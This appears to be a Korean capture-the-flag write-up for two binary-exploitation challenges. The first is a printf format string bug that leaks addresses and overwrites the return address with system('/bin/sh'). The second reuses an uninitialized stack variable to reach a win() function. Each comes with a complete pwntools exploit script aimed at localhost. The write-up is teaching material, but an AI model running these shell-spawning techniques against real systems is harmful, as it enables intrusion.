Brick City Office Space
취약점 분석
1. Format String Vulnerability
vuln() 함수에는 char local_26c[592] 버퍼가 선언되어 있고, 사용자 입력을 fgets로 받은 뒤 포맷 문자열 인자 없이 그대로 printf의 첫 번째 인자로 전달한다.
puts(local_14);
printf(local_26c); // ← 포맷 문자열 취약점
puts(local_1c);%p, %n 등의 포맷 지시자를 삽입하면 스택 값을 읽거나 임의 주소에 쓰기가 가능하다.
2. 정보 유출 흐름
“redesign?” 재진입 루프 덕분에 페이로드를 두 번 전송할 수 있다. 첫 번째 입력에서 스택과 libc 주소를 릭하고, y로 루프를 유지한 뒤 두 번째 입력에서 오버라이트 페이로드를 전송한다.
do {
fwrite("BrickCityOfficeSpace> ", ...);
fgets(local_26c, 0x250, stdin);
...
printf(local_26c); // 1st: 릭 / 2nd: 오버라이트
...
fgets(local_26c, 0x250, stdin); // y → 루프 재진입
} while (local_26c[0] == 'y' || local_26c[0] == 'Y');Exploit 과정
Step 1: Stack Leak
%158$p 오프셋으로 스택 주소를 릭하고, ret_addr = stack_leak - 0xc로 vuln()의 리턴 주소를 계산한다.
payload = b'AAAA' + b' %163$p %158$p'
r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
r.recvuntil(b'AAAA ')
leak = r.recvline().split(b' ')
stack_leak = int(leak[1], 16)
ret_addr = stack_leak - 0xcStep 2: Libc Leak
%163$p 오프셋으로 libc 내부 주소를 릭하고, 고정 오프셋 0x21519를 빼 libc base를 계산한다.
libc.address = int(leak[0], 16) - 0x21519Step 3: ret_addr 계산
스택 릭에서 구한 stack_leak에서 0xc를 빼면 vuln() 함수의 리턴 주소가 위치한 스택 주소가 된다.
Step 4: fmtstr_payload로 쉘 획득
이후 return address와 return address+8을 system, ‘/bin/sh\x00’주소로 덮쓰면 쉘을 획득할 수 있다.
system = libc.sym.system
binsh = libc.address + 0x1bd0d5
overwrite = {
ret_addr: p32(system),
ret_addr + 8: p32(binsh),
}
payload = fmtstr_payload(4, overwrite)
r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
r.sendlineafter(b"(y/n)\n", b'n')
r.interactive() # 쉘 획득Exploit Code
#!/usr/bin/env python3
from pwn import *
exe = ELF("BrickCityOfficeSpace_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux.so.2")
context.binary = exe
context.arch = 'i386'
context.log_level = 'info'
def conn():
if args.REMOTE:
return remote("localhost", 1337)
return process([exe.path])
def main():
# Step 1 & 2: Stack / Libc Leak
payload = b'AAAA' + b' %163$p %158$p'
r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
r.recvuntil(b'AAAA ')
leak = r.recvline().split(b' ')
libc.address = int(leak[0], 16) - 0x21519
stack_leak = int(leak[1], 16)
ret_addr = stack_leak - 0xc
log.info(f"libc base : {hex(libc.address)}")
log.info(f"ret_addr : {hex(ret_addr)}")
r.sendlineafter(b"(y/n)\n", b'y')
# Step 3 & 4: fmtstr overwrite → system("/bin/sh")
system = libc.sym.system
binsh = libc.address + 0x1bd0d5
overwrite = {
ret_addr: p32(system),
ret_addr + 8: p32(binsh),
}
payload = fmtstr_payload(4, overwrite)
r.sendlineafter(b'BrickCityOfficeSpace> ', payload)
r.sendlineafter(b"(y/n)\n", b'n')
r.interactive()
if __name__ == "__main__":
r = conn()
main()Brick Workshop
취약점 분석
1. workshop_turn()
workshop_turn() 함수에서 선택지 3을 처리할 때, 전역변수 service_initialized로 두 단계를 구분한다.
- 첫 번째 선택 3:
mold_id,pigment_code를 지역변수에 입력받고return - 두 번째 선택 3:
diagnostics_bay(mold_id, pigment_code)를 호출
문제는 두 번째 호출 시점의 mold_id, pigment_code가 초기화되지 않은 지역변수라는 점이다. C언어 표준에서 초기화되지 않은 지역변수의 값은 undefined behavior이며, 실제로는 해당 스택 주소에 이전에 남겨진 값이 그대로 사용된다.
static void workshop_turn(void) {
int choice;
unsigned int mold_id; // 초기화 없음
unsigned int pigment_code; // 초기화 없음
// ...
if (!service_initialized) {
scanf("%u %u", &mold_id, &pigment_code); // 첫 번째 호출: 스택에 값 씀
service_initialized = 1;
return; // 스택 프레임 소멸
}
diagnostics_bay(mold_id, pigment_code); // 두 번째 호출: 초기화 안 된 값 사용!
}2. 스택 재사용
main()은 workshop_turn()을 무한루프로 반복 호출한다. 이때 동일한 함수를 반복 호출하면 컴파일러는 동일한 스택 레이아웃을 재사용한다. 즉, 첫 번째 호출에서 mold_id, pigment_code가 위치했던 스택 주소는 두 번째 호출에서도 동일한 오프셋에 위치하게 된다.
첫 번째 호출에서 scanf로 쓴 값들은 return 후에도 해당 메모리에 덮어써지지 않고 남아있으며, 두 번째 호출에서 그 값을 그대로 읽어 diagnostics_bay()로 전달하게 된다.
// main()의 루프
while (1) {
workshop_turn(); // 매번 같은 함수 → 같은 스택 레이아웃
}
// 스택 메모리 재사용 구조
// 1st call: [choice][mold_id=0][pigment_code=48879] ← scanf로 기록
// return 후 메모리에 값 잔존
// 2nd call: [choice][mold_id=?][pigment_code=?] ← 초기화 없음
// ↑ 이전 호출의 값 0, 48879가 그대로 남아있음3. win 조건 역산
static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) {
return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1);
}
// 목표: clutch_score == 0x23ccd (146637)
//
// mold_id = 0으로 설정하면:
// (0 >> 2) & 0x43 = 0
// (0 | pigment_code) + pigment_code * 2
// = pigment_code * 3 = 146637
// → pigment_code = 48879 (0xBEEF)Exploit 과정
Step 1: 첫 번째 선택 3 — 스택에 값 심기
선택지 3을 처음 입력하면 calibration 모드로 진입한다. 여기서 mold_id = 0, pigment_code = 48879를 입력한다. 이 값들은 workshop_turn()의 스택 프레임 내 지역변수 위치에 기록된다.
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'Enter mold id and pigment code.\n', b'0 48879')[스택]
mold_id = 0x00000000
pigment_code = 0x0000BEEF (48879)
↓ return
값은 메모리에 잔존
Step 2: 두 번째 선택 3 — 잔존 스택값으로 diagnostics_bay 호출
두 번째 workshop_turn() 호출 시 service_initialized == 1이므로 입력 없이 바로 diagnostics_bay(mold_id, pigment_code)를 호출한다. 이때 mold_id, pigment_code는 이전 호출에서 남은 0, 48879를 그대로 읽어오게 된다.
r.sendlineafter(b'> ', b'3')clutch_score(0, 48879)
= (((0 >> 2) & 0x43) | 48879) + (48879 << 1)
= 48879 + 97758
= 146637 = 0x23ccd ✓ → win() 호출!
Exploit Code
#!/usr/bin/env python3
from pwn import *
exe = ELF("bad_eraser_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.REMOTE:
r = remote("localhost", 1337)
else:
r = process([exe.path])
return r
def main():
# Step 1: 첫 번째 선택 3 → 스택에 mold_id=0, pigment_code=48879 기록
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'Enter mold id and pigment code.\n', b'0 48879')
# Step 2: 두 번째 선택 3 → 스택 잔존값으로 diagnostics_bay 호출
# clutch_score(0, 48879) == 0x23ccd → win()
r.sendlineafter(b'> ', b'3')
r.interactive()
if __name__ == "__main__":
r = conn()
main()